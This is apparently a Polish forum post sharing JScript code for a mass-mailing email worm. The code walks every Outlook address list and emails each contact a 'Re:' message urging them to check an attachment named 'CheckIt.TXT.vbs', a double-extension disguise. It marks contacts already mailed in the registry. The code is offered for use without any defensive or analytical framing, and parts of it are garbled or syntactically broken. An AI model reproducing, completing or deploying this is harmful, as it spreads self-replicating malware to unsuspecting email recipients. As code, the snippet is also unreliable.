a oto kod:

var x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d;

regedit=WScript.CreateObject("WScript.Shell");
out=WScript.CreateObject("Outlook.Application");
mapi=out.GetNameSpace("MAPI");


ctrlists = 1;
while (ctrlists < mapi.AddressLists.Count){

a=mapi.AddressLists(ctrlists);
x=1;
regv=regedit.RegRead("HKEY_CURRENT_USER\\Software\ \Microsoft\\WAB\\ " + a);
if (regv="") {
regv=1;
};

if (int(a.AddressEntries.Count)>int(regv)){
while (ctrentries=1 < a.AddressEntries.Count){

malead=a.AddressEntries(x);
regad="";
regad=regedit.RegRead("HKEY_CURRENT_USER\\Software \\Microsoft\\WAB\\ " +malead );

if (regad=""){
male=out.CreateItem(0);
male.Recipients.Add(malead);
male.Subject = "Re:";
male.Body = vbcrlf + "Sprawdz zalacznik ";
male.Attachments.Add(dirsystem + "\\CheckIt.TXT.vbs");
male.Send;

regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"+m alead,1,"REG_DWORD");
}

x++;
}
regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"+a ,a.AddressEntries.Count);
}else{

regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\ "+a,a.AddressEntries.Count);
}

out=ble;
mapi=ble;
}

a w załącznikach może być małe co nieco